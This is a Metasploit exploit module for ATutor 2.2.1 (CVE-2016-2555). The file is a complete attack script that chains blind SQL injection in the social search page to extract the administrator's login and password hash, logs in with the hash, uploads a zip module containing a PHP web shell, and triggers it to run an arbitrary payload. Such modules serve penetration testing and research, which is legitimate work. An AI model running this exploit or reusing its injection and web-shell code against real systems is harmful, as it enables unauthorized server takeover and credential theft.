##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',
      'Description'    => %q{
         This module exploits a SQL Injection vulnerability and an authentication weakness
         vulnerability in ATutor. This essentially means an attacker can bypass authentication
         and reach the administrator's interface where they can upload malicious code.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
        ],
      'References'     =>
        [
          [ 'CVE', '2016-2555'  ],
          [ 'URL', 'http://www.atutor.ca/' ],                        # Official Website
          [ 'URL', 'http://sourceincite.com/research/src-2016-08/' ] # Advisory
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Mar 1 2016',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/'])
      ])
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end

  def check
    # the only way to test if the target is vuln
    if test_injection
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end

  def create_zip_file
    zip_file      = Rex::Zip::Archive.new
    @header       = Rex::Text.rand_text_alpha_upper(4)
    @payload_name = Rex::Text.rand_text_alpha_lower(4)
    @plugin_name  = Rex::Text.rand_text_alpha_lower(3)

    path = "#{@plugin_name}/#{@payload_name}.php"
    # this content path is where the ATutor authors recommended installing it
    register_file_for_cleanup("#{@payload_name}.php", "/var/content/module/#{path}")
    zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
    zip_file.pack
  end

  def exec_code
    send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),
      'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
    }, 0.1)
  end

  def upload_shell(cookie)
    post_data = Rex::MIME::Message.new
    post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")
    post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")
    data = post_data.to_s
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "install_modules.php"),
      'method' => 'POST',
      'data' => data,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'cookie' => cookie
    })

    if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")
       res = send_request_cgi({
         'method' => 'GET',
         'uri'    => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection),
         'cookie' => cookie
       })
       if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")
          res = send_request_cgi({
            'method' => 'GET',
            'uri'    => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"),
            'cookie' => cookie
          })
       return true
       end
    end
    # unknown failure...
    fail_with(Failure::Unknown, "Unable to upload php code")
    return false
  end

  def login(username, hash)
    password = Rex::Text.sha1(hash)
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, "login.php"),
      'vars_post' => {
        'form_password_hidden' => password,
        'form_login' => username,
        'submit' => 'Login',
        'token' => ''
      },
    })
    # poor developer practices
    cookie = "ATutorID=#{$4};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
    if res && res.code == 302 && res.redirection.to_s.include?('admin/index.php')
      # if we made it here, we are admin
      store_valid_credential(user: username, private: hash, private_type: :nonreplayable_hash)
      return cookie
    end
    # auth failed if we land here, bail
    fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
    return nil
  end

  def perform_request(sqli)
    # the search requires a minimum of 3 chars
    sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='"
    rand_key = Rex::Text.rand_text_alpha(1)
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, "mods", "_standard", "social", "index_public.php"),
      'vars_post' => {
        "search_friends_#{rand_key}" => sqli,
        'rand_key' => rand_key,
        'search' => 'Search'
      },
    })
    return res.body
  end

   def dump_the_hash
    extracted_hash = ""
    sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)"
    login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli).to_i
    for i in 1..login_and_hash_length
       sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))"
       asciival = generate_sql_and_test(false, false, sqli)
       if asciival >= 0
          extracted_hash << asciival.chr
       end
    end
    return extracted_hash.split(":")
  end

  # greetz to rsauron & the darkc0de crew!
  def get_ascii_value(sql)
    lower = 0
    upper = 126
    while lower < upper
       mid = (lower + upper) / 2
       sqli = "#{sql}>#{mid}"
       result = perform_request(sqli)
       if result =~ /There are \d+ entries\./
        lower = mid + 1
       else
        upper = mid
       end
    end
    if lower > 0 and lower < 126
       value = lower
    else
       sqli = "#{sql}=#{lower}"
       result = perform_request(sqli)
       if result =~ /There are \d+ entries\./
          value = lower
       end
    end
    return value
  end

  def generate_sql_and_test(do_true=false, do_test=false, sql=nil)
    if do_test
      if do_true
        result = perform_request("1=1")
        if result =~ /There are \d+ entries\./
          return true
        end
      else not do_true
        result = perform_request("1=2")
        if not result =~ /There are \d+ entries\./
          return true
        end
      end
    elsif not do_test and sql
      return get_ascii_value(sql)
    end
  end

  def test_injection
    if generate_sql_and_test(do_true=true, do_test=true, sql=nil)
       if generate_sql_and_test(do_true=false, do_test=true, sql=nil)
        return true
       end
    end
    return false
  end

  def service_details
    super.merge({ post_reference_name: self.refname, jtr_format: 'sha512' })
  end

  def exploit
    print_status("Dumping the username and password hash...")
    credz = dump_the_hash
    if credz
      print_good("Got the #{credz[0]}'s hash: #{credz[1]} !")
      admin_cookie = login(credz[0], credz[1])
      if upload_shell(admin_cookie)
        exec_code
      end
    end
  end
end
